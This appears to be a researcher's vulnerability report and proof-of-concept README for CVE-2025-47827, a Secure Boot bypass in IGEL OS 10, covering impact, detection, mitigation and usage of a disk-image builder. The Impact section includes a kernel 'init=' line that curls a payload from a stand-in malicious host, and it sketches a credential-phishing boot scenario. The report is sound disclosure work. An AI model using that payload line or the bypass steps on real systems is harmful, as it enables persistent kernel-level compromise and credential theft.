## https://sploitus.com/exploit?id=BD0636B5-946B-5581-98E1-EA3BDD1A0C2E
# CVE-2025-47827
[](https://github.com/Zedeldi/CVE-2025-47827/blob/main/LICENSE) [](https://github.com/Zedeldi/CVE-2025-47827/commits) [](https://www.first.org/cvss/calculator/3-1#CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) [](https://vulners.com/cve/CVE-2025-47827) [](https://cwe.mitre.org/data/definitions/347.html) [](https://kb.igel.com/security-safety/current/isn-2025-22-statement-on-cve-2025-47827-in-igel-os)
Proof-of-concept and vulnerability report for CVE-2025-47827.
## Contents
- [Description](#description)
- [Disclosure](#disclosure)
- [Impact](#impact)
- [Detection](#detection)
- [Mitigation](#mitigation)
- [Binaries](#binaries)
- [Proof of Concept](#proof-of-concept)
- [Resources](#resources)
## Description
In IGEL OS before v11, Secure Boot can be bypassed because the
`igel-flash-driver` module improperly verifies a cryptographic signature.
Ultimately, a crafted root filesystem can be mounted from an unverified
SquashFS image.
Improper verification of cryptographic signature in the `igel-flash-driver`
Linux kernel module in IGEL OS 10 allows a malicious actor to bypass
Secure Boot, by booting the Shim signed by Microsoft 3rd Party UEFI CA, which
then loads GRUB and the vulnerable kernel, both signed by IGEL Secure Boot
Signing CA. Once the vulnerable kernel and embedded initramfs has loaded, a
malicious root filesystem can be mounted from the unverified SquashFS image on disk.
As the `kexec_load` syscall is available in the vulnerable kernel, the currently
booted kernel can be replaced with an entirely untrusted one, practically
allowing any operating system to boot, following a complete chain of
trust.
In later versions of IGEL OS, the module correctly verifies a signature of the
root filesystem SquashFS image. However, both the vulnerable kernel and patched
versions are signed with the same certificate, allowing the same Shim to boot
both vulnerable and patched versions.
### Process
## Disclosure
Both IGEL and Microsoft were contacted and made aware of this vulnerability,
on 6th December 2024 and 31st March 2025 respectively, before details were
made public on 29th May 2025.
As IGEL OS 10 is unsupported and the vulnerability does not exist within the
Shim directly, neither party have suggested a resolution.
IGEL published a [security notice](https://kb.igel.com/security-safety/current/isn-2025-22-statement-on-cve-2025-47827-in-igel-os)
for [CVE-2025-47827](https://vulners.com/cve/CVE-2025-47827) on 2nd June 2025.
## Impact
A Secure Boot bypass exploit could lead to the development of an undetected
bootkit/kernel-level rootkit, in turn leading to multiple implications, such as:
- Code Execution
- Privilege Escalation
- Denial of Service
- Information Leak
Without [revocation or manual intervention](#mitigation), Secure Boot has been
rendered useless on all machines that trust the Microsoft 3rd Party UEFI CA,
which is the default for most devices at the time of writing.
### Kexec
If used for `kexec`, this vulnerability can be exploited to silently and
maliciously modify a legitimate system, without impacting Secure Boot.
#### Kernel
The kernel could be replaced entirely, enabling malicious code to run at the
kernel-level, granting unrestricted access to all system resources, including
memory, CPU, and connected devices.
This would allow encryption keys to be dumped from memory, malicious processes
to execute without restriction, and for malware to [evade detection](#detection).
#### Parameters
The command-line of the legitimate kernel can be modified,
to disable security modules or change the `init` parameter, allowing a
malicious payload to be executed after the real root has been mounted.
For example (`modprobe`, DHCP, `chmod`, omitted for brevity):
```sh
init=/bin/sh -- -c "curl http://malicious.site/payload > /path/to/executable; exec /sbin/init"
```
This could replace a legitimate executable, hijack PID 1 or automatically
start itself on boot, easily gaining root access.
`/proc/cmdline` can be [hijacked](https://wiki.archlinux.org/title/Kernel_parameters#Hijacking_cmdline)
with a bind mount to hide any modifications.
See the [Linux documentation](https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html)
for more information.
### Persistence
The impact would be persistent as long as the required EFI binaries and kernel
are present, and configured to boot by the system firmware.
Operating system updates may cause changes to the boot order or the Secure Boot
Forbidden Signature Database (DBX), which may prevent the binaries from
executing. However, if the operating system is also compromised, this remedial
action may be reverted.
Additionally, as the EFI boot order is configurable by the operating system,
through modification of the EFI variables, privileged malware could gain
persistance or elevate privileges further by installing the required boot
files and configuring the boot order accordingly.
## Detection
Assuming a perfect kernel-level rootkit has been created to exploit this
vulnerability, data about the running system cannot be trusted.
Methods for detection include:
- Checking for presence of involved binaries
- Verifying signatures/integrity of known files, e.g. [rkhunter](https://rkhunter.sourceforge.net/)
- Behavioural analysis, especially in networked environments
At the very least, the signed EFI binaries to be booted by the system firmware
and IGEL kernel must be present on the compromised system, but, due to the
[level](https://en.wikipedia.org/wiki/Protection_ring) at which the malicious
code would execute, the [rootkit](https://en.wikipedia.org/wiki/Rootkit) could
hide itself at runtime.
Other indicators of compromise depend on the actions of the malware, which has
exploited this vulnerability. For example, the booted kernel may have been
replaced, files on the root filesystem modified or unexpected programs running.
## Mitigation
To prevent the boot chain from being compromised, the certificate used for
signing the vulnerable GRUB/kernel image should be revoked/distrusted, or the
SHA-256 hashes of the affected kernels should be added to the DBX or MOKX deny list.
See the [documentation from the NSA Cybersecurity Directorate](https://github.com/nsacyber/Hardware-and-Firmware-Security-Guidance/blob/master/secureboot/Linux.md)
for more information.
Alternatively, to prevent the initial Shim from executing, the
Microsoft 3rd Party UEFI CA can be distrusted, but this may cause unintended
disruption to other legitimate applications.
Some devices have this as an option in firmware settings.
The [ArchWiki page for sbctl](https://wiki.archlinux.org/title/Unified_Extensible_Firmware_Interface/Secure_Boot#Creating_and_enrolling_keys)
warns the following:
> [!WARNING]
> Some firmware is signed and verified with Microsoft's keys when secure boot
> is enabled. Not validating devices could brick them.
This is the [default for Secured-core PCs](https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/secure-the-windows-10-boot-process#secure-boot):
> The default state of Secure Boot has a wide circle of trust, which can result
> in customers trusting boot components they may not need. Since the Microsoft
> 3rd Party UEFI CA certificate signs the bootloaders for all Linux distributions,
> trusting the Microsoft 3rd Party UEFI CA signature in the UEFI database increases
> the attack surface of systems. A customer who intended to only trust and boot
> a single Linux distribution will trust all distributions - more than their
> desired configuration. A vulnerability in any of the bootloaders exposes the
> system and places the customer at risk of exploit for a bootloader they never
> intended to use, as seen in recent vulnerabilities, for example
> [with the GRUB bootloader](https://msrc.microsoft.com/security-guidance/advisory/ADV200011) or
> [firmware-level rootkit](https://www.darkreading.com/threat-intelligence/researchers-uncover-dangerous-new-firmware-level-rootkit)
> affecting boot components.
> [Secured-core PCs](https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/OEM-highly-secure-11)
> require Secure Boot to be enabled and configured to distrust the Microsoft 3rd
> Party UEFI CA signature, by default, to provide customers with the most secure
> configuration of their PCs possible.
### Measured Boot
If the system is booted with the IGEL Shim, the
[TPM PCR measurements](https://wiki.archlinux.org/title/Trusted_Platform_Module#Accessing_PCR_registers)
will change.
Windows uses [Measured Boot](https://learn.microsoft.com/en-us/windows/compatibility/measured-boot)
by default with BitLocker, making encryption keys inaccessible if the system
is not booted with the expected binaries.
On Linux-based systems, [systemd-cryptenroll](https://wiki.archlinux.org/title/Systemd-cryptenroll)
can be used to enroll a LUKS key to the TPM and bind it to various PCRs
(PCR 7 by default).
Measured Boot protects the legitimate OS from modification, by only releasing
the encryption key in a trusted environment. However, it does not prevent an
unauthorised OS from booting; that is the responsibility of Secure Boot.
Therefore, a user could still be at risk, even if their OS uses Measured Boot.
For example:
- Boot IGEL shim and malicious OS, while passing Secure Boot
- Emulate appearance and behaviour of genuine OS
- User enters credentials which are sent to attacker
- Optionally, reboot into legitimate OS
While the legitimate OS cannot be modified with Measured Boot, as the encryption
key is bound to the TPM PCR measurements, the system can still boot malicious
software.
### Unified Kernel Image
A [unified kernel image](https://uapi-group.org/specifications/specs/unified_kernel_image/)
can be used to bundle all boot resources (i.e. kernel, initial ramdisk, kernel
command-line, etc.) into a single UEFI PE file.
These images can be signed as any other EFI executable.
To improve boot security and minimise the attack surface of the boot chain,
generate a unified kernel image and sign it with user-generated keys,
distrusting any vendor/OEM keys.
## Binaries
The involved binaries are below:
### Description
In execution order:
- `boot*.efi` -> Shim signed by Microsoft
- `igel*.efi` -> GRUB signed by IGEL
- `bzImage` -> Linux image (embedded initramfs), signed by IGEL
### Hashes
SHA-256 (from `udc10.06.220.iso`):
```
3258be9cede92f0b557391e920750e46134cccc13d3a78e306b630ed7b338b85 bootia32.efi
0c1e0821cef69a0bc2798996c6ce0b60564b2a1a9d67ef89f3059023edab720c bootx64.efi
2a8e546e6bbdbb01f49338b0e3ef22d8fea69aa0a585831b89960610e2e5d9b5 igelia32.efi
5f57a2a40fa6d55d1082e0c87cfea8c77d4f32e38e21fd0b5f2c4d2007ebdf91 igelx64.efi
09e14e4870f93fbfd13b85121cb9f0e4a877dd8d6566bea2d2db8d27e14f1d92 bzImage
```
## Proof of Concept
A proof-of-concept shell script is provided to download the IGEL OS installation ISO,
extract and create a bootable disk image, with a modified SquashFS root filesystem.
Alternatively, instead of a disk image, the ISO could be repacked with an EFI
System Partition appended to the image. A hybrid MBR could also be used to
retain support for legacy BIOS systems, but that is beyond the scope of this
project. The installation ISO contains an ISOLINUX bootloader for legacy
systems, which chainloads a GRUB `core.img`.
### Overlays
Example overlay directories are provided, to demonstrate booting a live
Arch Linux environment over HTTP.
The `init` script will load the specified kernel in the kernel command-line
parameters with `kexec`, then reboot. The replacement kernel does not need to
be signed, if `--kexec-syscall` is passed instead of `--kexec-file-syscall`.
The GRUB configuration file is stored on the EFI System Partition, which can
be easily modified. Other files can be dropped onto the ESP, such as kernel,
initramfs or SquashFS images, to be booted into from the first root filesystem
with `kexec`. This allows chainloading another system locally, which can be
updated as a normal system, without rebuilding the ISO each time.
Alternatively, the required files can be downloaded over HTTP with `curl`, then
booted, for a smaller disk image.
This is an innocent example of how the vulnerability could be exploited, but
the `init` script or `kexec` kernel could be modified to demonstrate malicious
behaviour.
### Dependencies
The script requires the following packages:
- [`bash`](https://www.gnu.org/software/bash/bash.html)
- [`coreutils`](https://www.gnu.org/software/coreutils/) (`dd`, and everything else)
- [`dosfstools`](https://github.com/dosfstools/dosfstools) (`mkfs.fat`)
- [`igelfs-cli`](https://github.com/Zedeldi/igelfs)
- [`libisoburn`](https://dev.lovelyhq.com/libburnia/libisoburn) (`osirrox`, `xorriso`)
- [`squashfs-tools`](https://github.com/plougher/squashfs-tools) (`mksquashfs`, `unsquashfs`)
- [`sudo`](https://www.sudo.ws/sudo/)
- [`unzip`](https://infozip.sourceforge.net/UnZip.html)
- [`util-linux`](https://github.com/util-linux/util-linux) (`fdisk`, `losetup`)
- [`wget`](https://www.gnu.org/software/wget/wget.html)
These should be available for any distribution from its official package repositories.
`igelfs-cli` can be installed in a virtual environment from
[PyPI](https://pypi.org/project/igelfs/):
```sh
python -m venv .venv
source .venv/bin/activate
pip install igelfs
```
### Usage
```
mkdiskimage: [-s SIZE] [-l LABEL] [-e ESP_OVERLAY] [-r ROOT_OVERLAY] PATH [SQUASHFS]
```
### Example
Build a 500 MB disk image, copying the contents of `esp` and `root` to the
EFI System Partition and the SquashFS respectively:
```sh
mkdiskimage -s "500M" -e "esp" -r "root" "disk.img"
```
The resulting image will boot a machine with Secure Boot enabled, which trusts
the Microsoft 3rd Party UEFI CA.
The raw disk image can be written to a physical device, or converted for use
with a virtual machine.
### Releases
See the [releases](https://github.com/Zedeldi/CVE-2025-47827/releases) page for
an example bootable disk image and copies of the relevant binaries.
The example contains a modified IGEL OS SquashFS image to download and boot
Arch Linux over HTTPS with `kexec`. The mirror is found in the GRUB configuration.
### Explanation
1. `mkdiskimage` downloads the IGEL OS 10 UDC archive, containing the installation ISO
2. The ISO is extracted with `osirrox`, to obtain the EFI binaries, `ddimage.bin`
and `bzImage`
3. Using [`igelfs-cli`](https://github.com/Zedeldi/igelfs), the system SquashFS
is extracted from `ddimage.bin`, which is then extracted with `unsquashfs`
4. Required files are created and overlay directories can be specified to copy
files to the ESP or SquashFS
5. The SquashFS is rebuilt with `mksquashfs` and a new `ddimage.bin` is created
using `igelfs-cli`, with the SquashFS as partition #1 (`sys`)
6. The `ddimage.bin` is added to an ISO image with `xorriso`
7. A disk image is created and partitioned with `fdisk`
1. ISO -> partition #1 (written with `dd`)
2. ESP -> partition #2 (mounted and copied)
The ISO contains only the `ddimage.bin` and `boot_id` file hint, whereas
the ESP contains EFI binaries and files for GRUB.
### Buildroot
The root filesystem could be created with [buildroot](https://buildroot.org/)
to greatly reduce file size.
Kernel modules for the `bzImage` will be added to the SquashFS image to add
support for filesystems, networking, etc., along with any other
[requirements](#requirements).
An example `defconfig` for building a root SquashFS, with `kexec` and no `init`
script, can be found in `buildroot`. Use an overlay directory to add other
files, e.g. `init` script, either with `BR2_ROOTFS_OVERLAY` or `mkdiskimage`.
### Kexec
The `kexec` userspace binary is not available by default in the IGEL OS 10
system partition, so if this is required, it can be also be added to the patched
SquashFS image.
The `kexec` binary can be bundled with its library dependencies using
[staticx](https://github.com/JonathonReinhart/staticx), to avoid missing
shared libraries on the IGEL OS SquashFS image:
```sh
staticx "$(which kexec)" "./root/sbin/kexec"
```
Note: due to the IGEL initramfs `parse_cmdline` substring searching,
specifing `init` _anywhere_ in the kernel command-line will be interpreted by
the first initramfs, so `init` cannot be passed to the `kexec` kernel via the
first kernel parameters.
### SSL
If SSL is required, e.g. for HTTPS, add `/etc/ssl/certs/ca-certificates.crt`
to the SquashFS image.
### Requirements
The ISO must be the first partition, making the EFI System Partition (ESP)
unconventionally partition #2. This is due to how the initramfs `init` script
searches devices.
Similarly, when installed, IGEL OS creates two ESPs at partition #2 and #3.
GRUB requires `/boot/igel-ud-converter` to be present on the same filesystem
as `/boot/grub/igel.conf`:
```
search --file --set search /boot/igel-ud-converter
set cmdpath=($search)
configfile $cmdpath/boot/grub/igel.conf
```
The `init` script of the embedded initramfs of `bzImage` requires a file
matching the `boot_id` passed on the kernel command-line, prefixed with a dot (`.`),
to be present on the ISO filesystem. The `boot_id` must start with
`IGEL_UDC_TO`, e.g. `.IGEL_UDC_TO_210319143827`.
These files can be empty, but must be present.
The SquashFS must also have a `/igfimage` directory for the initramfs init
script, else changing root will fail.
### Application
A user could exploit this vulnerability intentionally to boot a Linux-based
operating system on their machine, without configuring Secure Boot.
Furthermore, as a full Linux environment will be effectively used as a bootloader,
the `init` script can be customised to handle loading the next kernel in more
complex ways than a conventional bootloader would allow, e.g. networking,
encryption, etc. On the other hand, this may be leveraged to hide indicators of
compromise, by retrieving assets at runtime instead of storing on disk.
Various projects already use `kexec` for this purpose, such as
[kexecboot](https://github.com/kexecboot/kexecboot) and
[petitboot](https://www.kernel.org/pub/linux/kernel/people/geoff/petitboot/petitboot.html).
## Resources
Vulnerability details:
- [CVE-2025-47827](https://vulners.com/cve/CVE-2025-47827) - CVE record
- [ISN-2025-22](https://kb.igel.com/security-safety/current/isn-2025-22-statement-on-cve-2025-47827-in-igel-os) - IGEL security notice
- [Ars Technica](https://arstechnica.com/security/2025/06/unearthed-in-the-wild-2-secure-boot-exploits-microsoft-patches-only-1-of-them/) - news article and discussion
- [Computing](https://www.computing.co.uk/news/2025/security/secure-boot-under-threat) - news article
- [Eclypsium](https://eclypsium.com/blog/hydrophobia-secure-boot-bypass-vulnerabilities/) - blog
- [LinuxSecurity](https://linuxsecurity.com/features/2-secure-boot-exploits-discovered) - news article
- [SecurityOnline](https://securityonline.info/igel-os-10-flaw-cve-2025-47827-full-secure-boot-bypass-allows-untrusted-kernel-rootkits-poc-available/) - vulnerability report
- [Tech2Geek](https://www.tech2geek.net/critical-secure-boot-vulnerabilities-discovered-cve-2025-3052-47827/) - blog
- [TechSpot](https://www.techspot.com/news/108280-two-exploits-threatening-secure-boot-but-microsoft-only.html) - news article
Software and related projects:
- [IGEL Software Downloads](https://www.igel.com/software-downloads/former-universal-desktop-and-legacy-versions/) - legacy IGEL OS downloads
- [igelboot](https://github.com/igelboot) - IGEL shim repositories
- [IGEL-Technology](https://github.com/IGEL-Technology) - various IGEL repositories
- [shim-review #11](https://github.com/rhboot/shim-review/issues/11) - 2017 IGEL shim review
- [shim-review #434](https://github.com/rhboot/shim-review/issues/434) - 2024 IGEL shim review
- [igelfs](https://github.com/Zedeldi/igelfs) - Python implementation of the IGEL filesystem
## License
`CVE-2025-47827` is licensed under the [MIT Licence](https://mit-license.org/)
for everyone to use, modify and share freely.
This project is distributed in the hope that it will be useful, but without any
warranty.
> [!IMPORTANT]
> Please be responsible with this information. Publicising this vulnerability is
> intended to advise users and suggest possible mitigations to _avoid_ harm.
>
> Be a good person.
## Donate
If you found this project useful, please consider donating.
Any amount is greatly appreciated! Thank you :smiley:
[](https://paypal.me/ZackDidcott)